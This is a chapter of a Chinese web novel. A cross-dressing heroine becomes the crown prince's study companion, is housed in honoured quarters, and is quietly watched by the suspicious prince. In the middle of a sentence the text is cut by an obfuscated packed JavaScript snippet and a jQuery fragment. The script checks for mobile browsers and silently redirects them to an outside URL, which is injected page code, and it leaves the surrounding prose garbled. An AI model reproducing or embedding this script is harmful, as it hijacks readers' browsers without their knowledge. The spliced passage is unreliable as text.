四喜带着沈明,一路边走边介绍东宫的格局:
“太子殿下居住在后殿,没有传唤不得擅入。前殿是东宫诸位属官办公和为太子殿下讲学议政的场所,东配殿是殿下的书房,平日无课时两位伴读也会在书房同殿下探讨学问,或旁听殿下与属官议事。”
沈明微微安心,这些都和记忆中一模一样。
紧接着来到了东宫前殿的西配殿,“沈伴读,您和谢世子平日住这里。北边静心斋是谢世子的房间,南边听雨阁是您的。”
沈明在门口时就暗暗震惊,不自觉瞪圆了眼睛:“这……”
穿过明间步入听雨阁内后,更是迟疑地问:“四喜公公,我住这里?”
四喜圆圆的脑袋仰得更高了,一脸与有荣焉地肯定:“没错,这可是太子殿下特意吩咐的。”
阁内窗明几净,宽敞非常。
厅中摆着一张酸枝木书案,案上搁着笔墨纸砚。靠墙一侧立着架楠木书架,上头整整齐齐码着经史子集,靠窗的另一侧摆着一张罗汉塌,上面置一张小几。穿堂而过,是一间暖阁,放着一张架子床,床头摆着个小柜,柜上放着一盏羊角灯。
“公子请看……”四喜跟在后面一处处介绍过去,笑得愈发殷勤,“屋内的一应陈设都是刚从库内挑出来的,相比谢世子屋内几年前的那批都要更体面几分呢。东宫里日常的炭、茶、点心,都是内造的,公子若有什么缺的,只管遣奴才去取。”
沈明立在厅中,嗅到了宫中常用来护书驱虫的合香,伴着这熟悉的香味,内心的不安却逐渐蔓延,实在欣喜不起来。
谢逸是未来的武安侯,他还是太子的嫡亲表哥,住这里是应当的,但原来的伴读和自己前世是不住在这里的,而是住在配殿旁设的耳房,平时东宫属官值夜时也会在那休息,房间大小和陈设都远比西配殿简陋。
如果说先前太子赐茶,沈明说是看重,还带着一半安慰家人,一半勉励自己。赐住西配殿就太过荣宠了。
对自己亲选的伴读看重很正常,看重到如此地步就令人生疑了。
沈明扪心自问那天并没有表现得多么出彩,如何能让太子这样待他?
门外传来细碎的脚步声,几个小内侍捧着衣物、被褥鱼贯而入,见了他,齐齐躬身行礼:“见过沈伴读。”
沈明强自镇定下来,先对四喜说:“家父管教严格,从小要求自食其力,所以我素日亲力亲为惯了,实在用不着这么多人伺候。”
四喜立刻回:“平日就叫他们都在殿外听候,奴才一个人跟着。”
“读书、休息时我一般也一个人待着,不敢多劳动公公。”怕他时时看着自己,沈明赶忙补充,“只在平日外出读书、当差时辛苦公公即可。”
“奴才明白。”说罢四喜看着那几个内侍将屋子布置好,麻溜地喊着几人关上门一同出去了。
宫里各色各样的人都有,有那看奴才和物件没什么两样的,随时随地要人跟着毫不避讳,也有那不喜奴才在一旁看着更愿意自己待着的,四喜觉得都很正常。
不过看来这位新来的沈伴读不是恃宠而骄之人,跟着这样的人自己日子想必不会太难过。
东宫书房内。
李琮正和自己的表兄兼伴读谢逸说话。
谢逸高高的个子杵在书桌旁,满脸写着不平:“要我说,还是太便宜王宇了。当时我不在,都没能狠狠打他一顿,你就已经直接把他逐出了宫。”
李琮边翻书边不在意地回:“他父亲连降了两级,还要去父皇跟前谢罪,只会比你打的更狠。”
“还真是!”谢逸恍然大悟,一握拳,这招高啊。
又接着解气地说:“这王有德名字叫‘有德’,却尽干缺德事,京城有几个有名气的赌场,都和他脱不了干系。这次也算给了他一个大教训!”
“就是这王宇,不知道是真傻,竟然拿赌博诱你,还是和他爹一起受了何人指使……”
李琮放下书,无谓地说:“先监视着吧,总归这满朝上下人人都盯着我,就看这次又是谁挑的头。”
这时,宝平轻轻地走近,“殿下,沈伴读到了,已经安置在听雨阁,老奴把四喜拨过去伺候了。”
“听雨阁?”谢逸惊讶地问。
知道谢逸是什么意思,宝平恭顺地回:“是的世子,这是殿下吩咐的。”
谢逸扭头继续追问李琮:“这个又是什么来头,莫不是很厉害?怎么安排在那里了?”之前王宇可是安排在配殿耳房的。
这次李琮一时也无法为谢逸解惑了,因为他自己也很疑惑,自己何时吩咐了安排在听雨阁?那处和谢逸住的静心斋同属西配殿,就与这书房所在的东配殿相对,也属于紧要之地了,之前一直只有谢逸住在那。
“?”见李琮不吭声,谢逸又疑惑地看向宝平,宝平抬起头看李琮,谢逸又跟着一起看过去。
“……”
李琮迎着两人不解的眼神,隐隐头痛,也明白过来了。
前日他对宝平说多加注意沈明,竟被他曲解至此。但人已经住进去了,没必要再把人挪出去,以致离心,让人多盯着些就行了。
“对,很厉害,他才学过人,人也聪明机灵,你多学着点。”这是对谢逸说的,反正基本都比谢逸才学高。
又对宝平说:“让秦骁再安排一个功夫好的,平时跟着他,多看着。”他盯着宝平的双眼:“明白了吗?”
“明白明白。”宝平忙不迭地答应退了出去,他伺候殿下这么多年了当然明白殿下此时心情不是很好,也不敢胡乱揣测了,直接去找掌管东宫护卫的指挥使秦骁传话。
于是沈明打开门就发现自己不仅没把精明的四喜送走,又迎来了陆吾。
对方一副沉默寡言的样子,看起来就很能打,能像拎小鸡崽一样把她拎起来。
适才一个人待在屋内,沈明反复思量。
首先,自己肯定还没有露出什么破绽,如果有的话,自己的秘密随便哪一条都是能被抓起来关进大牢的罪名,不会还好好的留在这儿。
其次,义父是国子监司业,在学子和清流中颇有名望,所以太子对自己表露看重,与义父结个善缘,是很有可能的。
最后,上位者的喜好不是她能够揣测到的,虽然不知道这世的自己哪里引起了太子的注意,但一个身居高位的人青睐的人不外乎那几种:忠诚、听话、聪明。
总之,藏好秘密,谨慎行事,是她在东宫生存的第一要务。太子李琮的青眼,则是她赖以生存的根基。
然后,打开门就发现自己生存的难度又增加了。
换种角度想,自己在宫中的安全也更有保障了,沈明苦中作乐地想。陆吾能拎起自己就一样也能拎起别人。
沈明带着身后的两尊‘门神’来到了东配殿,如果不是四喜说太子安排她先去住处安置,她肯定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132457|196226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要先来向太子请安的,也见一见自己的同伴谢世子。
李琮和谢逸就见一袭青袍的少年轻稳走了进来,姿态清雅地行礼:
“参见太子殿下。”
“免礼。”
李琮乍一见到这张印象深刻的脸庞,脑中无法遏制地又回想起梦中的画面:挺直的脊背、清澈的眼睛……
“太子……”
李琮右手的拇指猛地掐住了食指侧面的指关节,直至指节微微发白,同时深深地吸了一口气,无声叹了出去。
这厢沈明和谢逸已经互相见过礼了。
沈明再次看见谢逸高高的个子和孔武有力的身形,只觉得满满的熟悉和亲切。梦中前世他们的关系就很好,谢逸虽是世子却并不骄矜,反而性格豪爽,待人真诚。文华殿中各皇子和伴读性格迥异,难免会有磕绊,谢逸就帮他解决过几次麻烦。
谢逸则是被第一次见的沈明惊艳住了。宽松的青袍上方是紧扣的白色领结,青白交映,衬得对方的脸白得发光,那始终低垂着的眼睛让他整个人显得很是乖巧,但像竹子一样的身姿又带着韧劲。
才学过人,聪明机灵,看起来还很乖巧听话,这不就是殿下最喜欢的那种人,怪不得待他特殊。谢逸在心里小声嘀咕。
“咳……”李琮打断了那边已经开始互相熟悉的两人。
“沈明初来乍到,对东宫和文华殿那边都多有不熟悉,谢逸你多加照顾。”李琮看着两人温声说道。
“没问题。”谢逸一拍胸脯,爽朗对沈明应道:“咱们就住在对门,课上也都挨着,有什么事直接来找我就行。”
沈明自是谢过。
李琮又问她:“住处可还有什么缺的?”
沈明立即拱手看向李琮:“一切都很妥当,多谢殿下关心。”脸上的感激中夹杂着一些不知所措,仿佛惶恐于那些荣宠,“只是,臣愧不敢受。”
谢逸笑着拍拍沈明的肩膀:“咱们殿下向来如此体贴。”还很知道好歹,“只要好好为殿下当差就行。”
感受到掌下的单薄,谢逸没忍住又捏了捏,沈明下意识痛得缩起肩膀往后躲。
“啧——”谢逸把卡在沈明肩上的手拿下来,又比了比对方不到自己下巴的个头,问道:“我刚才就想问了,沈明你多大了?看起来比我跟殿下小多了。”
沈明的心重重一跳,但仍旧面不改色。
他先谨慎地与谢逸拉开了距离,然后微微仰头看着谢逸回答:“我已有十七岁,只是先天不足,自小身体虚弱,所以身量低了些,不似世子这般高大。”
他眼神明亮,动作坦然,自有一番清峻气度。
谢逸先是被沈明的坦然和夸奖弄得有点不好意思,自己好像说到人家的短处了,又觉得这人性格不错,很对他的胃口。
“沈明别介意,我这人说话直。身子弱可以多练练,以后武课我带你。”
“谢逸。”李琮冷淡开口:“你若是有使不完的力气,就去把太傅昨日留的策论多写两篇。”
谢逸讪讪应了声“是”,又对沈明友好地笑笑,转身回去了。
沈明则在原地垂手站着,等待示下。
李琮目光在沈明刚被谢逸捏着的肩膀上停留了一瞬,才缓声道:“体弱更要顾惜自身,有需要的直接跟四喜说就行,不要拘谨。去吧。”
沈明恭敬行礼退下,却依稀感觉背后始终有一道目光如影随形。